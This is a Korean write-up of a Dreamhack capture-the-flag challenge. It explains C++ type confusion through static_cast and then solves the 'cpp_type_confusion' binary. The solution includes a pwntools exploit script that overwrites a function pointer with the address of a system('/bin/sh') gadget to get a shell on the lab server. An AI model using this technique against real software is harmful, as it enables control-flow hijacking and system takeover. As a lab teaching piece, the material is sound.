개념정리
type confusion은 프로그램에서 사용하는 변수나 객체를 선언/초기화했을 때와 다른 타입으로 사용할 때 발생하는 취약점이다. C와 C++로 만들어진 프로그램에 Type Confusion 취약점이 존재한다면 메모리 커럽션이 유발되어 공격자가 시스템을 장악하는 것이 가능하다.
이러한 취약점은 형 변환(Type Casting)과정에서 발생한다. cast는 변수, 객체의 형태를 기존과 다른 타입의 형태로 바꾸는 것을 말한다.
C++에서 객체의 형태를 변환할 때 사용되는 연산자는 다음과 같다.
○ 연산자 종류
dynamic_cast
- 런타임에 타입을 체크하여 다운캐스팅을 수행하는 연산자다. 다운캐스팅 시 안전한 형변환이 가능한 경우에만 캐스팅을 수행하며, 안전하지 않은 경우에는 NULL 포인터를 반환한다.
reinterpret_cast
- 포인터나 참조형을 다른 형태의 포인터나 참조형으로 변환하는 연산자다. 이 연산자는 기존의 데이터 타입을 무시하고 비트 단위로 변환을 수행하므로 매우 위험한 연산자다. 이 연산자를 사용할 때에는 주의가 필요하다.
static_cast
- 컴파일 타임에 타입을 체크하여 형변환을 수행하는 연산자다. 이 연산자는 컴파일러가 형 변환의 안전성을 검증할 수 있는 경우에만 캐스팅을 수행한다.
const_cast
- const로 선언된 변수의 const 속성을 제거하여 값을 변경할 수 있게 하는 연산자다. 이 연산자는 포인터나 참조형에서만 사용할 수 있으며, const_cast를 사용할 때에는 const 속성을 제거하는 것이므로 주의가 필요하다.
이 중에서 Type confusion 취약점이 발생하는 연산자는 static_cast와 reinterpret_cast다.
dynamic_cast는 프로그램 실행 과정에서 객체 타입을 검사한다. 하지만 static_cast, reinterpret_cast는 이런 로직이 존재하지 않아서 취약점이 발생할 수 있다. 따라서 type confusion 취약점이 발생하지 않도록 하려면 dynamic_cast를 사용해야한다.
int main()
{
Parent *p1 = new Print();
Parent *p2 = new Read();
Print *b1;
char buf[256];
strcpy(buf, "I'm print_str");
b1 = static_cast<Print*>(p1);
b1->print_str(buf);
b1 = static_cast<Print*>(p2);
b1->print_str(buf);
return 0;
}
코드는 Parent 클래스로부터 파생된 Print, Read 객체를 static_cast를 이용해서 형 변환하는 예제다.
Read 클래스 포인터를 저장하고 있는 p2를 Print *
타입으로 형 변환한 이후 b1 포인터 변수에 저장한다. 하지만 b1은 Read 클래스의 구조를 지니고 있는 객체를 가리키고 있다. 따라서 print_str()
를 호출했을 때, print_str()
이 아닌 Read 클래스에 정의된 read_str()
가 호출된다.
이처럼 형변환 과정에서 type confusion 취약점이 발생하면 의도치 않은 프로그램 동작을 유도하거나 메모리 커럽션을 발생시킬 수 있다. 따라서 type confusion이 발생하지 않도록 dynamic_cast를 사용하는 것이 좋다.
문제풀이
void getshell(){
system("/bin/sh");
}
쉘을 실행하는 getshell()
가 주어졌다.
class Base{
public:
virtual void yum(){
}
};
class Apple : public Base{
public:
virtual void yum(){
std::cout << description << std::endl;
}
Apple(){
strcpy(description, "Appleyum\x00");
appleflag = 1;
};
~Apple(){
appleflag = 0;
}
char description[8];
};
class Mango : public Base{
public:
virtual void yum(){
description();
}
Mango(){
description = mangohi;
mangoflag = 1;
};
~Mango(){
mangoflag = 0;
}
void (*description)(void);
};
다음으로 Apple, Mango 2개의 클래스가 선언됐다. 두 클래스를 비교하면 description 부분만 다르다.
각 클래스의 yum()
를 보면 apple은 문자열인 description을 출력하고 Mango는 포인터로 저장한 description()
를 실행하는 것을 확인할 수 있다.
만약, apple과 mango가 잘못된 캐스팅으로 type confusion이 발생하면 어떻게 될까?
case 3:
if(appleflag && mangoflag){
applemangoflag = 1;
mixer = static_cast<Apple*>(mango);
std::cout << "Applemango name: ";
std::cin >> applemangoname;
strncpy(mixer->description, applemangoname.c_str(), 8);
printf("%x\n", applemangoname);
std::cout << "Applemango Created!" << std::endl;
} else if(appleflag == 0 && mangoflag == 0){
std::cout << "You don't have anything!" << std::endl;
} else if(appleflag == 0){
std::cout << "You don't have apple!" << std::endl;
} else if(mangoflag == 0){
std::cout << "You don't have mango!" << std::endl;
}
break;
case 3
을 보면
mixer = static_cast<Apple*>(mango);
와 같이 static_cast로 캐스팅하고 있다.
mixer는 Apple 클래스로 캐스팅 했지만, mango 클래스 객체 구조를 지니고 있으므로 type confusion이 발생할 수 있다.
else if (selector == 3){
if(applemangoflag) {
mixer->yum();
}
else{
std::cout << "you don't have Applemango!" << std::endl;
}
selector == 3
을 보자.
mixer→yum()
를 실행하는 것을 확인할 수 있다.
virtual void yum(){
description();
}
...
void (*description)(void);
위에서 말한 것처럼 Apple 객체로 캐스팅 됐지만, mango 객체 구조를 가리키기 때문에 type confusion이 발생한다. 따라서 mixer→yum()
을 실행하면 mango 클래스에 정의된 yum()
이 실행된다.
예제와 함께 설명하면, case 3
에서 mixer→description
를 입력 받는다. description에 값이 저장되지만 mixer는 mango 객체 구조를 가리키기 때문에, yum()
이 호출되면 위와 같이 mango 클래스에 선언된 description()
를 실행한다.
그렇다면 description에 getshell()
주소를 저장하고 mixer→ yum()
을 실행하면 어떻게 될까?
yum() → description() → getshell()
가 실행된다.
위에 언급한 방법으로 풀이해보자.
○ 공격시나리오
- case 1,2로 apple, mango 객체 생성
- case 3로 mixer 생성 후, description에
getshell()
주소 저장 - case 4로
mixer→yum()
실행 - 쉘 획득
먼저, getshell() 주소를 구하자.
pwndbg> p getshell
$1 = {<text variable, no debug info>} 0x400fa6 <getshell()>
주소는 0x400fa6
다.
0x400fa6
를 description에 저장하고 mixer→ yum()
을 실행하자.
from pwn import *
import warnings
warnings.filterwarnings('ignore')
p = remote('host3.dreamhack.games', 17455)
#p = process("./cpp_type_confusion")
e = ELF('./cpp_type_confusion')
p.sendlineafter(": ", "1")
p.sendlineafter(": ", "2")
p.sendlineafter(": ", "3")
p.sendlineafter(": ", p32(0x400FA6))
p.sendlineafter(": ", "4")
p.sendlineafter(": ", "3")
p.interactive()
apple, mango 인스턴스를 생성하고 mixer를 생성한다. 다음으로 getshell()
주소를 description에 저장하고 mixer→yum()
실행한다.
reference
[dreamhack] Memory Corruption - C++